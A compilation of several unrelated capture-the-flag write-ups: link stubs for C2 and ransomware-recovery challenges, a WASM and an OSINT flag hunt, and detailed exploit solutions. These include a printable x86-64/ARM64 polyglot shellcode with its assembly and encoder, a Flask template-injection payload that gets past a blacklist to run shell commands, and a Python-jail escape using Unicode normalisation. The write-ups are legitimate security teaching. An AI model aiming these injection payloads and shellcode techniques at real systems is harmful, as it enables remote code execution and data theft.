### Challenge 2: Shutting down the C2 We are given the following challenge description: > Great job getting into the server! Now we need to shut down the malware on the victim machines, before any further damage is done. Figure out how the server works, and stop the malware remotely. The flag is the ‘termination code’ that you receive upon successful malware shutdown. [Read Full Writeup Here](https://crazyeights225.github.io/cs-track1/)
# CTFs# UIUCTF: WASMBABY ![date](https://img.shields.io/badge/date-08.01.2021-brightgreen.svg) ![solved in time of CTF](https://img.shields.io/badge/solved-in%20time%20of%20CTF-brightgreen.svg) ![warmup category](https://img.shields.io/badge/category-web-lightgrey.svg)![score](https://img.shields.io/badge/score-50-blue.svg)![solves](https://img.shields.io/badge/solves-347-brightgreen.svg) ## Descriptionwasm's a cool new technology! http://wasmbaby.chal.uiuc.tf author: ian5v ## Attached files- None ## SummaryThis was a beginner challenge, and the solution is found by inspecting the wasm file that is ran on the website. ## Flag```CTF{this_is_a_test_flag}``` ## Detailed solutionWhen connecting to the website, you are prompted with a screen as below. ![Root of Website](https://raw.githubusercontent.com/Diplodongus/CTFs/main/UIUCTF2021/img/WASMBABY/1-root.png) Pressing **CTRL+SHIFT+i** brings up the developer console in chrome. ![Dev Console](https://raw.githubusercontent.com/Diplodongus/CTFs/main/UIUCTF2021/img/WASMBABY/2-dev-console.png) On this screen, selecting the **Sources** tab, we can see there is a file called “index.wasm”. ![Sources](https://raw.githubusercontent.com/Diplodongus/CTFs/main/UIUCTF2021/img/WASMBABY/3-Sources.png) In this index page, I just did a seach of “CTF” and found the solution towards the bottom. ![Flag](https://raw.githubusercontent.com/Diplodongus/CTFs/main/UIUCTF2021/img/WASMBABY/4-Flag.png) Flag found is uiuctf{welcome_to_wasm_e3c3bdd1}. ## Another solutionThere is likely another solution involving the developer console tab / trying to get that part of wasm to execute so the flag shows up under “hello, world”. This was the simplest solution for me.
### Challenge 1: Obtaining Access to Command and Control > Our recon squad found a C2 server machine that controls a vast array of victim computers all over the world. We urgently need to take control of it. There is a C2 server program on the machine - find it. Submit its full name with path as the proof that you were successful. [Click to Read Full Writeup](https://crazyeights225.github.io/cs-track1/)
# ABC ARM AND AMD This challenge was part of the 'Misc' category at the Google CTF 2021 (during June 18-17 2021).It was solved [The Maccabees](https://ctftime.org/team/60231) team. Full solution is available [here](solution/shellcode) (run `compile.sh` in order to build `main.shellcode`; you can use `send_solution.py` to send it to the server). ## The Challenge The challenge description: ```Provide a payload that prints the contents of the 'flag' file and runs on bothx86-64 and arm64v8. The payload may only contain bytes in the range [0x20, 0x7F] and cannot belonger than 280 bytes. Note that the arm64v8 payload is evaluated under QEMU.``` In short, we need to write a shellcode, that satisfy the following constraints: 1. The shellcode should print the contents of the `"flag"` file (to `stdout`).2. The shellcode should work on both ARMv8 (A64 instruction set) and x86-64.3. The shellcode length must be equal-or-less than 280 bytes.4. All shellcode bytes must be printable (between `0x20` and `0x7f`). With the challenge we are given 2 binaries: `chal-aarch64` and `chal-x86-64` - which are the ELF binaries that are responsible for executing our shellcode.The logic there is pretty simple - they call `mmap` with `MAP_PRIVATE | MAP_ANONYMOUS ` (which means the mapping is initialized to 0), with protection `PROT_READ | PROT_WRITE | PROT_EXEC` (which means the region is RWX), and with size `0x1000` (a single page). Afterwards, the shellcode is read to the start of the allocated page, and then the program branches to the start of the shellcode. In addition, we get `libc-aarch64.so` and `libc-x86-64.so`. Honestly - I have no idea why ¯\\\_(ツ)\_/¯, our solution doesn't rely on `libc` at all. We might be missing something here, but we didn't find any practical way to exploit our knowledge of libc ? When connecting to the server (`nc shellcode.2021.ctfcompetition.com 1337`), it expects to receive the shellcode, and we get the following message: ```x86-64 passed: Falseaarch64 passed: FalseSorry, not quite :(``` It is obvious that the server runs both challenge files with our input, and if (and only if) both programs print the flag - the server sends the flag back to us. ## Our solution Obviously, there are multiple challenges to overcome here in order to create a working solution. We'll go through each of those challenges and explain our struggles and solutions, and finally - we'll put everything together in order to create the desired payload. Let's go! ### Polymorphic Shellcode The first and obvious obstacle to overcome is the need for the shellcode to work on both ARM and x86 instruction sets. We will used a well-known technique (also used in [Midnightsun CTF 2019 Polyshell challenge](https://tcode2k16.github.io/blog/posts/2019-04-08-midnightsunctf-polyshell-writeup/)): we will find an sequence of bytes, which: 1. In the first ISA - is any operation which, in practice, is no-op for us. This could be, for example, any operation that operates only on registers (and thus can't fault), and doesn't clobber any important register value.2. In the second ISA - is some branch instruction, which will branch forward. This will allow us to write 2 different shellcodes, and run them conditionally - according to the architecture: in the first ISA, the first instruction will execute, and then we'll "fall-through" to run the execute the next bytes. In the second ISA - we will branch forward, executing a different sequence of bytes. ![](pics/polymorphic-1.png) Finding the relevant "polymorphic instruction" for our use case is quite easy. As you'll see in a bit - there are no relevant branch instruction in ARM64 which satisfies the above constraints. So, we will try to find an instruction that is a branch in x86-64, and also a no-op for us in ARM64. We'vef found the following sequence of bytes: ```.byte 0x72.byte 0x66 # Offset forward.byte 0x7e.byte 0x51``` In x86-64 - this is `jc` instruction forward (using the offset in the second byte). In our scenario, when this instruction executes, the carry flag is (empirically) always set - which means we always take the branch. In ARM64 - this is `SUB W18, W27, #0xF9F, lsl #12` (practically no-op - clobbers W18 value). This is great! But there is one crucial caveat - the offset for the `jc` instruction is the value of the second byte. But - it must be printable (because this byte is part of our shellcode), which means this byte maximum value must be `0x7f` (and even without this constraint - because this value is signed 8-bit immediate value, `0x7f` is the maximum amount of bytes we can branch forward). This means we must fit our ARM64 shellcode in about ~124 bytes, which is, eh, pretty hard ?. The ARM64 shellcode took us about ~200 bytes - which introduced a problem with this strategy. To solve this issue, we'll just use the polymorphic instruction twice: our first branch won't be directly to the x86 shellcode, but to the middle of the ARM64 shellcode. There, we'll add another polymorphic instruction, which will branch forward to the actual x86 shellcode (and, because in ARM64 it is a no-op - it won't interfere with our ARM64 logic). ![](pics/polymorphic-2.png) ### ARM64 shellcode #### Why it's hard This was, at least for us, the most challenging part of this task. In contrast to x86-64 - which contains a lot of 1-byte instructions (and thus - a lot of "printable" instructions), and in which the immediates are whole bytes in the final encoding - in ARM64, all instructions are exactly 4-bytes long; and the registers / immediates are encoded inside this instruction, in various offsets and sizes. This makes encoding a lot harder: a lot of instructions are not usable from the get-go; and in a lot of other instructions, some immediates or registers (or combination of both) are not allowed. Let's give a relevant example for this struggle: the amount of "legal" branch instructions in ARM64 is very limited (and practically only contains `TBZ`, `CBZ` and `CBNZ` instructions). This is how the `TBZ` instruction is encoded (from the [Arm Architecture Reference Manual Armv8, for Armv8-A architecture profile](https://developer.arm.com/documentation/ddi0487/latest) - C6.2.331): ![](pics/tbz.png) Notice that the byte in bits 8-to-15 must be at least 0x20 (because of the challenge constraint). Because the lowest 3-bits of the `imm14` field (which is the offset to the branch) are bits 5-to-7, this means that the value of `imm14`, if it is positive - must be at-least 256 (`20 << 3`). If we want it to be negative - we should notice that bits 7, 15, 23 and 31 must be 0 - because otherwise, we'll have a byte value larger than `0x80` (which is not printable). This constraint alone usually rules out a lot of combinations (and even whole instructions), and here - because bit 15 and bit 7 must be 0 - if we want the immediate offset to be negative, its absolute value must be large enough (in fact - it can't be in the range of our 280 allowed bytes). At first, we tried to write a simple `execve("/bin/cat", {"/bin/cat", "flag", NULL}, NULL)` ARM64 shellcode, and hoped to "fix" the problematic parts afterwards. But, so many instructions were not allowed, and were not easy replaceable - that we decided to choose another strategy. #### ARM64 printable unpacker Our new strategy is the following: we won't implement the logic we wanted in a printable manner; instead, we'll implement an "unpacker" shellcode, which will take a printable encoding of the actual ARM64 shellcode we want to execute, unpack it into memory, and execute it. When we tried to find similar implementation, we immediately stumbled upon an **amazing** article, called [ARMv8 Shellcodes from 'A' to 'Z'](https://arxiv.org/abs/1608.03415v2). This article presents an implementation to the above idea: the authors wrote an alphanumeric ARM64 unpacker, which allows them to "convert" any ARM64 shellcode to be alphanumeric. The article goes through the challenges in creating such a shellcode, and builds various "high-level constructs" using alphanumeric ARM64 instructions. A few takeaways from the article: 1. The article authors constraints on shellcode bytes are much more strict - they used only alphanumeric bytes (letters and digits), but we can use the whole `[0x20, 0x7f]` byte range.2. But - the article did not impose any length constraint on itself - and, because of the alphanumeric constraint, it must be a minimum length of 4276 bytes. That means we can't just use the article's unpacker for our needs.3. The article doesn't solve some issues, such as cache coherency, which we will need to solve later. So let's build our own unpacker, based on the article's unpacker. I will walk you through the main and interesting parts (and hide / change some things we'll talk about later ?). Notice that choosing the correct register numbers, immediates and instructions was not trivial at all, and required a lot of trial-and-error. First, we assume (and validated empirically, using a debugger), that `W11`, `W26` and `W27` are all zero. We initialize two registers for offsets: the first one is the offset in which we'll write the unpacked payload - will reside in `W2`; and the second one is the offset from which we will read the encoded payload - will reside in `W11`: ```asm# W2 is the offset in which we write the decoded shellcode# (Which is 0x6d)ANDS W2, W27, W27, lsr #12ADDS W2, W2, #4044SUBS W2, W2, #3994ADDS W2, W2, #4047SUBS W2, W2, #3988 # W11 is the offset from which we read the encoded shellcode# (Which is 0x70)ANDS W11, W27, W27, lsr #12ADDS W11, W11, #3978SUBS W11, W11, #3866``` We set `W26` to be `1` (will be useful in a bit): ```assembly # Set W26 = 1 ADDS W26, W26, #0xC1A SUBS W26, W26, #0xC19``` Next, we will write the decoder loop. First, it will read 2 bytes from the encoded input (obviously, we will concatenate the encoded payload to the end of the shellcode).Here, we assume that `X0` is the address of the start of our shellcode page (this is always true because our shellcode is called using a `BLR X0` instruction). ```assemblyloop: /* Load first byte in A */ LDRB W18, [X11, X0] /* W11++ */ ADDS W11, W11, W26, uxth /* Load second byte in B */ LDRB W25, [X11, X0] /* W11++ */ ADDS W11, W11, W26, uxth``` Next, we will "mix-in" the input bytes; we'll use the same algorithm that is used in the article.This practically takes 4-bit of information from each printable encdoed byte, and decodes them into a single, fully-controllable byte. ```assembly /* Mix A and B */ EON W18, W27, W18, lsl #20 .word 0x72304f39 /* ANDS W25, W25, #0xFFFF000F (printable version ;) ) */ EON W25, W25, W18, lsr #16``` We will write the decoded byte to the output offset: ```assembly /* Write decoded shellcode byte into the end */ STRB W25, [X2, X0] /* W2++ */ ADDS W2, W2, W26, uxth``` Finally, we will conditionally branch backwards to the loop. We will do it until `W2` is `256` (which means the offset of the unpacked shellcode hit 256); afterwards - we will just continue execution straight into the unpacked payload. ```assemblyTBZ W2, #0x8, loop``` So far, so good. Let's talk about some complications in the above logic, and how we solved them: #### The `TBZ` conundrum There was a little lie in the above description of the unpacker: the `TBZ W2, #0x8, loop` instruction is not "printable" one; its actual encoding it `[0x62, 0xfe, 0x47, 0x36]` - but `0xfe` is not a valid byte! As we discussed before - there are no valid branch instructions with a small-enough offset to fit in our 280-bytes (the minimum one we found is 1028-bytes offset forward - which is way too far). Thus, we use the following trick: in the start of our code, we patch the second byte of the `TBZ` instruction, to make it `0xfe`, thus making the instruction legal. In fact, we could just abuse the unpacking loop itself to overwrite the `TBZ` instruction. This way, the first iteration of the loop will "fix" the `TBZ` instruction before executing it for the first time, solving our issue. Notice this required the `TBZ` to have only one invalid byte. This is fairly simple to achieve, by making the entire loop size large enough (sadly, preventing us from further optimizing the loop size). #### ARM64 cache incoherency problems The `TBZ` patching sounds like a neat idea at first. But, ARMv8 (and earlier ARM versions as-well) have a well-known shellcoding problem. Unlike x86, in which the architecture guarantees coherency between data cache and instruction cache, ARM is different: the first layer of CPU caches (L1 cache) is different for instructions (that are fetched during execution) and for data (which is read/write using `LDR`/`STR`). The instruction cache is often call an I-cache, and the data cache is called the D-cache. A very simplified illustration of the situtation: ![](pics/ARM-cache.png) This present an inherent problem in writing code dynamically to memory: 1. If the write operation is in not flushed yet from the L1 D-cache, when we'll try to execute code - we will fetch the data from L2 cache / main memory - but this won't be the data we wrote!2. Even if the write operation was flushed to L2 / main memory - if the bytes of the code we re-wrote are still cached in the I-cache - we will execute the "old" data. This is not a theoretical problem - and it should be handled in every case in which we write ARM code into memory. When single-stepping the above implementation in `gdb` - the code runs fine; but when running it without single-stepping, or on the server - the "old" (unpatched) `TBZ` instruction runs, and our program faults (because the `TBZ` offset is incorrect - and outside our page). Usually, this issue is solved with the compiler-builtin `__clear_cache`, which invalidates the CPU caches for a specific memory range. But, sadly, the needed instructions for implementing `__clear_cache` in ARM64 are not printable ? The key fact for solving the issue is hidden in the challenge description - `Note that the arm64v8 payload is evaluated under QEMU`. This means that although the cache problems usually requires flushing the CPU caches, we might be able to abuse the QEMU implementation to overcome this issue (and maybe, under the QEMU implementation - the root cause for the above symptom is different?). At first, we tried to insert various "complicated" instructions (floating-point operations) after the TBZ patching, hoping to "stall" QEMU for enough time, so its caches will be flushed. This, sadly, didn't work at all. Then, without going into the QEMU emulation, we assumed that the QEMU emulation flow looks something like that: 1. QEMU divides the code into basic blocks (each basic block ends with a branch).2. When QEMU needs to run a basic block for the first time, it optimizes it (using JIT?) and caches the results for later executions. So, assuming this logic, the problem is obvious: because all of our code is one large basic block, QEMU optimizes it as soon as we start running, and the `TBZ` patch is not updated in the cached JIT implementation of QEMU. If this is true, the solution is rather simple: right after the `STRB` instruction that patches `TBZ`, we will create a new basic block by adding a branch instruction, in which the branch is never taken. This will hopefully prevent QEMU from pre-optimizing the code after the branch, up until the branch will not be taken, and at this stage - the `TBZ` will already be patched. We chose to add a `CBZ` instruction (`W2` is always non-zero, so the branch is never taken): ```assembly/* This CBZ is actually NOP (as W2 is by defintion non-zero here). * We put it here in order to make sure the patching of the TBZ will work. * The offset here is crafted in order to make the instruction printable. */cbz_: CBZ W2, cbz_+608324``` ...it works! Indeed, adding the `CBZ` makes the `TBZ` patch apply, and our code works now even if not debugged. We are still not sure if this is because the above assumptions are correct, or maybe there is something else here we don't understand. But this still works great in practice ? #### Don't forget the polymorphic branch! Of-course, we can't forget the polymorphic branch we must insert, at a specific offset inside our ARM64 shellcode. It will be no-op in our code, but in x86 will branch to the x86 shellcode. ```assembly# This is NOP in aarch64, but jumps ahead in x86_64x86_branch_opcode: .byte 0x72 .byte 0x60 .byte 0x7e .byte 0x51``` #### Unpacked ARM64 shellcode So, we have a working unpacker! What ARM64 shellcode should we unpack and execute? Remember - this shellcode is without any constraints on the values of the bytes! We wrote a simple ARM64 shellcode that practically runs `execve("/bin/cat", {"/bin/cat", "flag", NULL}, NULL)`, and optimized its size a bit: ```assembly_start: mov x8, 221 /* __NR_execve */adr_bin_cat_addr: adr x0, adr_bin_cat_addr+156 adr x1, pointer_array+0x100 mov x2, #0 adr x5, flag stp x0, x5, [x1, #0] svc #0 flag: .asciz "flag" pointer_array:``` What is happening here? * We put `__NR_execve` in X8 (according to the [ARM64 syscall calling convention](https://man7.org/linux/man-pages/man2/syscall.2.html)).* We put `"/bin/cat"` string in X0. Notice we use a trick here: in the last 8 bytes of the whole cobmined shellcode (including the x86-64 one), we put the string "/bin/cat". Because the whole page is full of zero bytes before copying the shellcode, the string will be null-terminated by the 281th byte in the page. We will use the `"/bin/cat"` string in both shellcodes, thus saving at least 8 bytes in the whole shellcode overall.* We create the `{"/bin/cat", "flag", NULL}` array and put it in X1. Again, we rely on the fact that all the bytes after the ending of our shellcode are zeros. So we just put in memory the pointers to `"/bin/cat"` and `"flag"` (using `STP`), and the final `NULL` pointer is already there.* We null X2 (this is the `env`).* Finally, we invoke the `execve` syscall using `svc #0`. Obviously, this shellcode indeed contains a lot of "unprintable" bytes. We encode it and add it to the end of our shellcode, using the following logic (based on the logic from the article): ```pythondef mkchr(c): return chr(0x40+c) def main(): # b'\xfe\x47\x36' are the 3 last bytes of the TBZ opcode in aarch64-shellcode.S # Because the unpacking start unpacking and overwriting over the TBZ opcode, we add # them here. s = "" p = b'\xfe\x47\x36' + open("aarch64-flag.shellcode", "rb").read() for i in range(len(p)): q = p[i] s += mkchr((q >> 4) & 0xf) s += mkchr(q & 0xf) s = s.replace('@', 'P') open("aarch64_print_flag_encoded.bin", "wb").write(s.encode('ascii'))``` After encoding the above shellcode, this is how it looks: ```ONDGCFJHAKHPMBNPPDPPAPLAPHPPCPPBPPHPMBFEPPPPAPBPADPPJIPAPPPPMDFFFLFAFGPP``` Notice it was critical to optimize the `execve` shellcode as much as we can - as each byte in this shellcode "costs" us 2 bytes in the actual payload. ### x86-64 shellcode After writing the ARM64 printable unpacker - writing the x86-64 shellcode is a lot easier. We could try to write another unpacker, in x86-64. But this is not really needed, as x86-64 contains a lot of useful instructions that are printable, and we could just "fix-up" the missing bits. In order to do so, we found the great article [Alphanumeric shellcode - Security101](https://dl.packetstormsecurity.net/papers/shellcode/alpha.pdf), which is an article about building x86-64 alphanumeric shellcodes (again - a more strict constraint than our printable constraint). So, let's build the needed primitives so the shellcode will work: #### Finding the shellcode address This is rather easy, as the shellcode is called using `call rdx` from the challenge ELF. So, the shellcode page address is stored in `rdx` (and, empirically, also in `rsi`). #### Moving data between registers This is also rather easy, using `pop`/`push` combinations (as, for a lot of registers, `push reg`/`pop reg` is a single-byte instruction, which is sometimes printable). For example, if we wanted to `mov rax, rdx`, we could do the following: ```assemblypush rdxpop rax``` #### Patching instructions Because not all instructions are printable, but some are absolutely necessary (for example - the `syscall` instruction - which is `0x0f, 0x05`), we must be able to "patch" instructions in memory. Meaning - we need to dynamically change the memory contents, in order to create the needed "unprintable instructions". Fortunately, `xor` instructions with immediate offset are often printable (assuming the base register is `rax` or `rcx`, and the immediate offset is printable itself). For example, assuming `rax` contains some address, we can `xor` 1, 2, 4 or 8 bytes ahead: ```assembly/* Printable instructions - assuming 0x5f is in the printable range */xor [rax+0x5f], bl /* 1 byte */xor [rax+0x5f], bx /* 2 bytes */xor [rax+0x5f], ebx /* 4 bytes */xor [rax+0x5f], rbx /* 8 bytes */``` #### Calculating pointers to the shellcode We can't use `add` instruction (as they are not printable), but we can abuse the fact that in x86, we can operate on the lower parts of a register, without modifying the more-significant bytes. For example, if we modify the `al` register (which is 1-byte sized), all the other 7-bytes of the `rax` register stay intact. Thus, because we know the shellcode base address is page-aligned (allocated using `mmap`), we can just `xor` the lowest byte of the base shellcode pointer to achieve pointers to inside our shellcode: ```assembly# Put the shellcode start address in raxpush rdxpop rax # Now rax will contain shellcode_base+0x7fxor al, 0x7f``` #### The printable offsets conundrum The 2 above primitives are nice and elegant, but have one fateful limitation: the offset where we patch the instruction in, or the offset we add to the page base - must be printable - which means it must be either in the range of `0x20`-to-`0x7f`, or, for 2-byte offsets - at least `0x2020` (which is too large for our needs). This limitation is problematic in practice, because our polymorphic instruction causes the x86-64 shellcode to be last. Because our ARM64 shellcode is about ~200 bytes, it means that by-design, the offsets in which our x86 shellcode runs are between at least `0x80` to `0xff` (which are not printable), or between `0x100` to `0x118` (the 256 to 280 offsets) - which, again, are not printable. To solve this issue, we will use the following strategy: * We will use `rcx` as the base for `xor`-ing and patching instructions. We will set `rcx` to be `page_base + 0xe9`, so the offsets for the relevant instructions (for example - the `syscall` patch) will be at least `0x20` (otherwise - we won't be able to encode it in the `xor [rax+0x20], bl` instruction).* We will use `rax` as the base for calculation of pointers. We assume all of our pointers are after offset `0x100` (practically - we only need pointers for the strings and the pointers array). We will set `rax` to be `page_base + 0x17f`, so we can `xor` it with printable values in order to get pointers in the correct range. Sounds great! But, initializing the `rax` and `rcx` to such value is very hard, as `0x80` or `0x100` are, by definition - not printable. So how do we accomplish this? Remember are big limitation is the fact that `xor`-ing won't help us to "turn on the most-significat-bit" (meaning: creating a value between `0x80` and `0xff`) - because both values that are `xor`-ed must be printable.But, if we were able to run an `add` instruction - we could add two values, and the addition will make the value larger than `0x80`. Most of the encoding of the `add` instruction are not printable, but, it is because their bytes are smaller than `0x20` (and not larger than `0x80`) - values that we can reach with `xor`. So, using our `xor` to memory, we might be able to forge `add` instructions that will help us set the correct values to `rax` and `rcx`. May I present to you, our (overcomplicated?) solution - the instruction-patching-instruction-patching-instruction shellcode: First, we init `rax` to be `page_base`, and `rbx` to be `0x5858585`. Afterwards, we will set `rax=page_base+0x7f` using pointer calculation, and set `rcx=page_base+0x7f` as well. ```assembly # Put the shellcode start address in rax push rdx pop rax # rbx = 0x58585858 # We'll use it to XOR stuff later push 0x58585858 pop rbx # rcx/rax now holds page_base+0x7f, we'll use it as refrence later # for adding / xoring bytes in the shellcode xor al, 0x7f push rax pop rcx``` Now, we'll use `xor` to patch 2 instructions ahead in our code. Those instructions only requires bytes in the range `0x0` to `0x7f`, so the `xor` will suffice: The first instruction created is an `add al, 0x100`. This will allow `rax` to be larger than `0x100` (actually - `0x17f`). The second instruction created is `add [rcx+0x66], bx` instruction - which will patch another instruction ahead. The created instruction ahead is `add cl, 0x6a`, which requires bytes larger than `0x7f` - thus, can't be created with `xor`. But, using this `add` instruction to memory - creating this instruction is possible! Lastly when the `add cl, 0x6a` runs, now `rcx=page_base+0xe9`. ```assembly # Decode "encoded_add_opcodes1" to generate our own 'add' instruction xor [rax+0x5f], rbx xor [rax+0x63], bl encoded_add_opcodes1: # Will be "add al, 0x100" .byte 0x66 .byte 0x5d # Will be 0x05 .byte 0x58 # Will be 0x00 .byte 0x59 # Will be 0x01 # Will be "add [rcx+0x66], bx" # (This will decode "encoded_add_opcode2") .byte 0x3e # Will be 0x66 .byte 0x59 # Will be 0x01 .byte 0x59 .byte 0x66 encoded_add_opcode2: # Will be "add cl, 0x6a" .byte 0x28 # Will be 0xd1 .byte 0x79 # Will be 0x80 .byte 0x6a``` Now we got the exact result we wanted: `rax = page_base + 0x7f + 0x100 == page_base+0x17f` - which can be used to calculate pointers in the `0x110`-`0x118` with `xor`; and `rcx = page_base + 0xe9` - which can be used to patch instructions/values in the range `0x110`-`0x118` with instructions like `xor [rcx + 0x20], bx`. ### Putting it all together After all those shenanigans, now we can simply: 1. Patch the instruction ahead in order to create a `syscall` instruction.2. Null-terminate the strings at the end of the shellcode (`"flag"` string) using `xor`.3. Set-up everything for the `execve` syscall (syscall number, arguments, etc.).4. The `syscall` instruction runs and we get our flag ? This is how it looks in the final shellcode: ```assembly # Push, for rax later to be 0 push rdi # xor the things to be xored: # xor the syscall xor [rcx + 0x20], bx # 0x109 # xor the end of flags string xor [rcx + 0x26], bl # 0x10f # Move "/bin/cat" string to 1st argument (rdi) xor al, 0x6f push rax # rax is 0x110 pop rdi # Create array of pointers (will be NULL-terminated because of mmap) # 1) First move "/bin/cat" (which is in rdi) to the first location xor [rcx+0x60], rdi # 2) Now fetch "flag" and put in the second location xor al, 0x3b # offset to "flag_path" xor al, 0x20 xor [rcx+0x60+0x8], rax # rax is 0x10b # Now put in 2nd argument (rsi) the address of the array xor al, 0x42 # offset to array of pointers push rax pop rsi # Move syscall number to rax # __NR_execve == 59 pop rax # rax == 0 from rdi push rax # for rdx later xor al, 59 # Move NULL (0) to 3rd argument (rdx) pop rdx # Offset: this should be 0x109 # This will be "syscall" .byte 0x57 # 0x0f .byte 0x5d # 0x05 # Offset: this should be 0x10bflag_path: .ascii "flag" # this should be 0x10fflag_path_null_terminator: .byte 0x58``` ### The complete solution I present you - our glorious 280-bytes, printable, multi-architecture shellcode: ```rf~Qb3[jB0?1Bh>qBq)e01)i0qIh 8Zk01Zg0qk3[jk)>1ki<q') 1"BJ4ri`8k!:+yi`8rS2J9O0r9CrJYh 8k!:+B :+"BJ4r`~Qb G6ONDGCFJHAKHPMBNPPDPPAPLAPHPPCPPBPPHPMBFEPPPPAPBPADPPJIPAPPPPMDFFFLFAFGPPCCCCCCCCCCCCCCCCCCRXhXXXX[4H1X_0XcPYf]XY>YYf(yjWf1Y 0Y&4oP_H1y`4;4 H1Ah4BP^XP4;ZW]flagX/bin/cat``` When sending it to the server, we get the following output: ```x86-64 passed: Trueaarch64 passed: TrueCTF{abc_easy_as_svc}``` We got our flag! `CTF{abc_easy_as_svc}` (Notice that in practice, we wasted about ~30 minutes trying to copy-paste our shellcode into `nc`, but it just kept failing on the server... only when we sent the exact same shellcode using `pwntools` - we were successful. Who knew ?). ## Conclusion ### Further optimizations Although our shellcode is exactly the needed 280-bytes, we believe it can be optimized even further: 1. Because our build system was just a bunch of scripts, we forgot to re-encode the `execve("/bin/cat", {"/bin/cat", "flag", NULL}, NULL)` shellcode after we optimized it. Thus, we actually could have saved 18 bytes in the final payload ? I didn't bother to recalculate all the offsets, so I ended up just padding the ARM64 shellcode with 18 unused bytes.(Notice this optimization can make a huge difference, as it means maybe we can fit the x86-64 shellcode in the first 256-bytes, thus solving the complicated solution for calculating pointers with offset larger than `0x100` inside the page). 2. Both in x86-64 and ARM64, we chose to run a single syscall - `execve("/bin/cat", {"/bin/cat", "flag", NULL}, NULL)`. This sounds very efficient, but setting up `execve` arguments (especially the second one - array with pointers to strings) takes a lot of instructions. Possibly, we could try a combination of 2 syscalls: 1. `openat(AT_FDCWD, "flag", O_RDONLY)` 2. `sendfile(stdout_fd, flag_fd, NULL, flag_size)` We didn't check this option, but giving it a shot might be able to optimize the shellcode and save some bytes (at least for one of the architectures). 3. General optimizations are absolutely possible. For example, in the ARM64 shellcode, we use 5 instructions (20 bytes!) to set `W2 = 0x6d` (a single `ANDS` to zero it, and 2 `ANDS`/`SUBS` pairs to get it to the correct value). This absolutely can be optimized (we believe, at least), although not trivially. ### Final words Overall, it was a great challenge! Although it took us about ~25 hours of work during the CTF to solve, we learned a lot about ARM64 and x86-64, and had a lot of fun. See you next CTF! ~ **TURJ** && **OG** && **or523**
# OSINT The Creator 2Solved By: RJCyber ## Description:I released another flag somewhere on one of my Twitter accounts. Can you find it?! ## How to "Capture the Flag":The description says that the flag is on one of his Twitter accounts. If we take a look at the creator's (Thomas) infosec Twitter account (https://twitter.com/0xQuig), there is a link to his personal Twitter account (https://twitter.com/Thomas_Quig). After a bit of searching, we come accross this Tweet, which contains the flag: https://twitter.com/Thomas_Quig/status/1382923763910578178. # Flag:```uiuctf{it5_@_sEcr3t_t0ol_thAT_w!ll_he7p_u$_l@ter}```
### Challenge 2: Recover Customer Data We are given the following challenge: > Phew, you found the encryptor and one customer’s data - a big relief! But, as it happens too often, the customer didn’t have backups… We need you to do your magic and recover the encrypted content. To prove that you were successful, take a person’s last name from the last line of every recovered file, concatenate them together in one long string, and submit a SHA1 hash of that string. [Click Here to Read the Full Writeup](https://crazyeights225.github.io/cs-track2/)
## Build a website ***I made a website where y'all can create your own websites! Should be considerably secure even though I'm a bit rusty with Flask.*** ![](https://i.ibb.co/Q6GnQPr/build-a-website.png?size=150) On the form we can enter some html which will be converted to webpage. My first thought was to inject some SSTI and I saw that {{ 7*7 }} results in 49 so the framework will be flask.after some tries I recognized that on back-end there must be some blacklist on "globals, class" words which some confusing message (there is no stack smashing, it seems to be written by hand!!) ```*** stack smashing detected ***: python3 terminated``` OK, my solution is: Send blacklist words as a GET params and prepare a statement ommiting blacklistTo avoid converting to strings we need to use ```attr``` function ```to list all classes:{{''|attr(request.args.p1)|attr(request.args.p2)|attr(request.args.p3)()}}``` to send os commands:```{{(''|attr(request.args.p1)|attr(request.args.p2)|attr(request.args.p3)())[360]('cat flag.txt',shell=True,stdout=-1).communicate()}}```with params:```&p1=__class__&p2=__base__&p3=__subclasses__```
# UIUCTF 2021 - baby_python_fixed Writeup- Type - Jail- Name - baby_python_fixed- Points - 133 ## Description```whoops, I made a typo on the other chal. it's probably impossible, right? Python version is 3.8.10 and flag is at /flag nc baby-python-fixed.chal.uiuc.tf 1337 author: tow_nater [challenge.py]``` ## WriteupThe Python file included in the description was a very short but restrictive 4-line file: ```import rebad = bool(re.search(r'[a-z\s]', (input := input())))exec(input) if not bad else print('Input contained bad characters')exit(bad)``` This script allows you to run any code that you want, the only characters you can't use are whitespace or lowercase characters. Since practically all of Python is in lowercase (and is case-sensitive), this obviously presented quite a challenge. After racking our brains and doing quite a bit of research, we had crossed off a couple of ideas like Python bytecode (you can't actually run it, I don't think) and a solution from a CTF in like 2013 where they ran code only using symbols (the key to it was deprecated in Python 3.x). One idea that we had stuck with us, but we couldn't quite finish it yet. We knew we could encode characters as hex values (`a` as `\x61`), but that still used a lowercase letter. After some investigation, I found we could use 8-digit Unicode characters (`a` as `\U00000061`). I wrote a small Python script that takes input and converts it to Unicode so we could craft our payload: ```input = input() print("'", end="")for letter in input: print(hex(ord(letter)).replace("0x", "\\U000000").upper(), end="") print("'")``` Using this script, we crafted our payload `print(open("/flag","r").read())` as `'\U00000070\U00000072\U00000069\U0000006E\U00000074\U00000028\U0000006F\U00000070\U00000065\U0000006E\U00000028\U00000022\U0000002F\U00000066\U0000006C\U00000061\U00000067\U00000022\U0000002C\U00000022\U00000072\U00000022\U00000029\U0000002E\U00000072\U00000065\U00000061\U00000064\U00000028\U00000029\U00000029'`. All we needed was a way to run it! Python accepts strings and doesn't throw an error, but it doesn't run it. It wasn't until later that we realized we could use italic characters and have it execute our payload string. Using [an Italic generator](https://lingojam.com/ItalicTextGenerator), we generated `exec` italicized, and our final payload was `exec('\U00000070\U00000072\U00000069\U0000006E\U00000074\U00000028\U0000006F\U00000070\U00000065\U0000006E\U00000028\U00000022\U0000002F\U00000066\U0000006C\U00000061\U00000067\U00000022\U0000002C\U00000022\U00000072\U00000022\U00000029\U0000002E\U00000072\U00000065\U00000061\U00000064\U00000028\U00000029\U00000029')`. We inserted this payload into the netcat session and it was executed and worked! ![](https://raw.githubusercontent.com/BYU-CTF-group/writeups/main/UIUCTF_2021/babypythonfixed/gotFlag.png) **Flag:** `uiuctf{unicode_normalization_is_not_normal_d2f674}` ## Real-World ApplicationThis comes to show how difficult it is to filter invalid inputs. Understanding character encodings and how specific languages and applications handle them is very important when attempting to stop injection attacks. For example, to prevent someone from doing a SQL injection attack, you may block them from using a single quote `'`, but what about an italic single quote? While this may or may not work, my point still stands - you have to be very careful and thoughtful when creating filters.
